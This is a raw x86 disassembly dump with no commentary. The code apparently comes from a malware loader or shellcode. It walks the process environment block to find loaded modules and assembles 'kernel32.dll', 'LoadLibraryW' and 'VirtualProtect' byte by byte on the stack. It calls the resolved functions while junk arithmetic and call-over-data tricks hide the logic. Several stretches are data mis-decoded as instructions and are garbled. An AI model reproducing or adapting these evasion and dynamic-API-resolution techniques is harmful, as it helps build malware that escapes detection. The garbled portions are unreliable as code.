mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
cmp ecx, eax
je 0x43c81f
mov ecx, dword [ebp - 0x708]
add ecx, dword [ebp - 0x184]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x184]
movsx ecx, byte [ebp + eax - 0x804]
cmp edx, ecx
jne 0x43c826
jmp 0x43c76c
jmp 0x43c82d
push eax
push esi
add esp, 4
sub eax, 0x1ab9
xor eax, 0x36f1
jmp 0x43c846
and eax, 0xa240
pop eax
push ebx
call 0x43c85b
add byte [edx + 0x34], al
xor al, 0x3a
inc edi
cmp eax, 0x5b04c483
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
cmp eax, edx
jne 0x43c88c
mov dword [ebp - 0xc40], 0
jmp 0x43c8fb
push ebx
push edx
add esp, 4
add ebx, 0x10ed2
sub ebx, 0x497d
xor ebx, 0x17b1c
pop ebx
push edx
push edx
add esp, 4
jmp 0x43c8b1
sub edx, 0x7ad3
or edx, 0xeeb1
pop edx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
or eax, 0x20
cmp ecx, eax
jge 0x43c8f1
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x43c8fb
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x43c912
mov ecx, dword [ebp - 0x18cc]
mov dword [ebp - 0x4e0], ecx
jmp 0x43c923
jmp 0x43c6fc
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push edx
push eax
add esp, 4
add edx, 0xc2b5
pop edx
push edi
xor edi, 0x11039
xor edi, 0x2c6a
pop edi
push eax
push ecx
add esp, 4
sub eax, 0x1004d
pop eax
push edi
push ecx
add esp, 4
and edi, 0x14350
pop edi
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push eax
push esi
add esp, 4
add eax, 0x1614e
or eax, 0x171c9
pop eax
push edx
xor edx, 0x7f6f
pop edx
push eax
push edi
add esp, 4
call 0x43c99e
add byte [edx], bh
dec edi
cmp byte [ebx], dh
inc edi
inc esp
inc ebp
cmp al, byte [esi - 0x7d]
les eax, [eax + ebx*2]
cmp dword [ebp - 0x3cc], 0
je 0x43c9b4
cmp dword [ebp - 0xa5c], 0
jne 0x43c9fa
push edi
push esi
add esp, 4
sub edi, 0x612b
call 0x43c9cf
add byte [edx + 0x45], al
cmp al, 0x41
dec esi
inc ebx
cmp byte [ebx + eax*2], dh
dec ebx
add esp, 4
call 0x43c9e2
add byte [ebx], dh
inc edi
xor al, byte [ebp + 0x3c]
dec eax
cmp al, 0x4e
dec ecx
add esp, 4
pop edi
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push edx
push edi
add esp, 4
or edx, 0xbcfe
pop edx
push eax
and eax, 0xb511
add eax, 0x44c4
pop eax
push edi
push eax
add esp, 4
sub edi, 0xbbfc
sub edi, 0x11a6
sub edi, 0x2320
pop edi
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push edx
call 0x43ca6f
add byte [edi], dh
inc esi
dec ecx
aas
dec eax
cmp al, 0x34
add esp, 4
or edx, 0x16558
or edx, 0x6b31
pop edx
push ecx
xor ecx, 0x10851
sub ecx, 0x82e1
xor ecx, 0x1610d
pop ecx
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push ecx
push edx
add esp, 4
add ecx, 0x1456
xor ecx, 0xe296
jmp 0x43cb16
pop ecx
push esi
jmp 0x43cb21
and esi, 0x6780
sub esi, 0x8054
pop esi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push esi
push edi
add esp, 4
or esi, 0x101fd
pop esi
push edi
push ebx
add esp, 4
xor edi, 0x3c82
or edi, 0xe875
pop edi
push esi
or esi, 0x6563
pop esi
push edx
push edx
add esp, 4
or edx, 0x6990
pop edx
cmp dword [ebp - 0x150c], 0
jne 0x43cb9f
mov dword [ebp - 0x2a8], 0
jmp 0x43ce46
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push edx
add edx, 0x749d
call 0x43cbc8
add byte [edx + eax*2 + 0x35], cl
inc esi
dec eax
dec edx
inc esp
aas
xor al, byte [ebx + 0x4eb04c4]
inc ebp
push eax
inc edx
call 0x43cbdf
add byte [ebx], bh
xor esi, dword [edi]
dec eax
dec edi
inc edx
inc esp
aaa
add esp, 4
pop edx
cmp dword [ebp - 0xc4c], 0
jne 0x43cbfb
mov dword [ebp - 0x2a8], 0
jmp 0x43ce46
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push eax
push edi
add esp, 4
and eax, 0xcba1
pop eax
push ebx
push edi
add esp, 4
call 0x43cc24
add byte [0x3d444750], dh
xor al, byte [ebx + 0x535b04c4]
push ecx
add esp, 4
jmp 0x43cc32
and ebx, 0xe7d3
pop ebx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push edi
push ecx
add esp, 4
jmp 0x43cc6d
pop edi
push ebx
push esi
add esp, 4
jmp 0x43cc7a
call 0x43cc86
add byte [edi + esi + 0x4c], al
inc esp
inc esp
add esp, 4
jmp 0x43cc8e
add ebx, 0xd3b4
pop ebx
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push ebx
push edi
add esp, 4
jmp 0x43ccf6
add ebx, 0x1168d
xor ebx, 0x11179
call 0x43cd0e
add byte [edi], bh
cmp al, 0x3b
dec ebp
dec esi
dec ebp
add esp, 4
pop ebx
push esi
push edi
add esp, 4
add esi, 0xaded
pop esi
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x43cd3b
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x43cd95
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x43cc63
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x43cc63
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x43cd7f
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x43cd89
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x43cdde
push eax
xor eax, 0x1558f
and eax, 0x3bd8
xor eax, 0x139a0
pop eax
push edx
push eax
add esp, 4
and edx, 0x13ddd
or edx, 0xd0d5
and edx, 0x1825e
sub edx, 0x1301c
pop edx
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x43ce46
push edx
or edx, 0xc137
pop edx
push ebx
push edx
add esp, 4
and ebx, 0x8872
call 0x43ce00
add byte [eax + 0x4a], dl
inc edi
dec eax
xor al, 0x3e
dec edx
cmp eax, 0x4c48337
xor ebx, 0x105ed
and ebx, 0x10691
pop ebx
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x43ce3c
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x43cc07
mov dword [ebp - 0x2a8], 0
push esi
and esi, 0xbc33
pop esi
push edx
push esi
add esp, 4
sub edx, 0x7df0
pop edx
push ecx
push eax
add esp, 4
add ecx, 0xe2f0
or ecx, 0xe3bf
sub ecx, 0xa54e
and ecx, 0x6833
pop ecx
cmp dword [ebp - 0x2a8], 0
jne 0x43d77d
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push ebx
push ebx
add esp, 4
and ebx, 0x2190
pop ebx
push esi
push esi
add esp, 4
jmp 0x43cf38
call 0x43cf45
add byte [eax + 0x43], dl
cmp dh, byte [ebx]
inc eax
cmp cl, byte [esi - 0x7d]
les eax, [ebx + ebp*8]
add eax, 0x38434c50
aaa
pop esi
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push esi
sub esi, 0x17d6a
jmp 0x43cfe3
add esi, 0xa282
call 0x43cff6
add byte [edx], bh
dec esi
inc edi
dec ecx
cmp eax, 0x4c48336
pop esi
push eax
jmp 0x43d004
pop eax
cmp dword [ebp - 0x1518], 0
jne 0x43d01d
mov dword [ebp - 0x710], 0
jmp 0x43d2c4
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push ebx
push eax
add esp, 4
xor ebx, 0x1383b
sub ebx, 0x17236
xor ebx, 0x8fff
jmp 0x43d04e
pop ebx
push ecx
push esi
add esp, 4
add ecx, 0x16ed1
sub ecx, 0xc3d6
pop ecx
cmp dword [ebp - 0xc58], 0
jne 0x43d079
mov dword [ebp - 0x710], 0
jmp 0x43d2c4
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push edi
sub edi, 0x51df
or edi, 0x603f
or edi, 0x16434
pop edi
push ebx
push ecx
add esp, 4
or ebx, 0x61d
add ebx, 0x8d7b
xor ebx, 0xc3cf
xor ebx, 0x138f
pop ebx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push eax
sub eax, 0xa6f4
pop eax
push eax
push edi
add esp, 4
or eax, 0x11e06
sub eax, 0xad31
pop eax
push ecx
push edi
add esp, 4
xor ecx, 0x75ac
or ecx, 0x152b7
add ecx, 0x1236d
pop ecx
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push edi
push edx
add esp, 4
and edi, 0xf0
call 0x43d181
add byte [edi + edi], dh
dec esi
aaa
inc eax
xor eax, dword [ebx + 0x9e804c4]
add byte [eax], al
add byte [eax], al
cmp al, byte [ebx + 0x42]
dec ebp
inc eax
cmp dh, byte [0x4c4834e]
and edi, 0x8a41
pop edi
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x43d1b9
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x43d213
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x43d0e1
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x43d0e1
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x43d1fd
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x43d207
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x43d25c
push ebx
xor ebx, 0x1e85
add ebx, 0x4344
pop ebx
push ecx
push ebx
add esp, 4
xor ecx, 0x3d58
pop ecx
push ecx
push eax
add esp, 4
add ecx, 0x10ba3
add ecx, 0x9a6b
or ecx, 0x14417
pop ecx
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x43d2c4
push esi
or esi, 0x12294
pop esi
push eax
push esi
add esp, 4
add eax, 0x110bd
pop eax
push ebx
add ebx, 0x357a
pop ebx
push edx
sub edx, 0xbe39
pop edx
push edi
add edi, 0x1822c
xor edi, 0x6a16
pop edi
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x43d2ba
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x43d085
mov dword [ebp - 0x710], 0
push ebx
and ebx, 0x51f9
sub ebx, 0x11cee
call 0x43d2de
add byte [ecx + 0x33], al
cmp dword [eax + 0x4e], edx
dec ecx
inc edi
add esp, 4
and ebx, 0x148d9
pop ebx
push edi
and edi, 0xb35a
sub edi, 0x961a
pop edi
cmp dword [ebp - 0x710], 0
jne 0x43d340
push esi
jmp 0x43d309
jmp 0x43d311
pop esi
push ebx
push edx
add esp, 4
call 0x43d327
add byte [ebx + 0x48], al
dec edi
dec esp
push eax
dec eax
dec ebx
cmp dword [ebx + 0x47], eax
add esp, 4
jmp 0x43d330
pop ebx
mov dword [ebp - 0xa58], 0
jmp 0x43de68
push edi
xor edi, 0x7406
call 0x43d353
add byte [edi + 0x34], al
cmp byte ds:[edx], bh
cmp byte [ebx - 0x187efb3c], al
push 0x81000035
out 0x1f, eax
add dword [eax], 0x81525f00
ljmp 0x5eb
push edi
push edx
add esp, 4
and edi, 0xa917
pop edi
push esi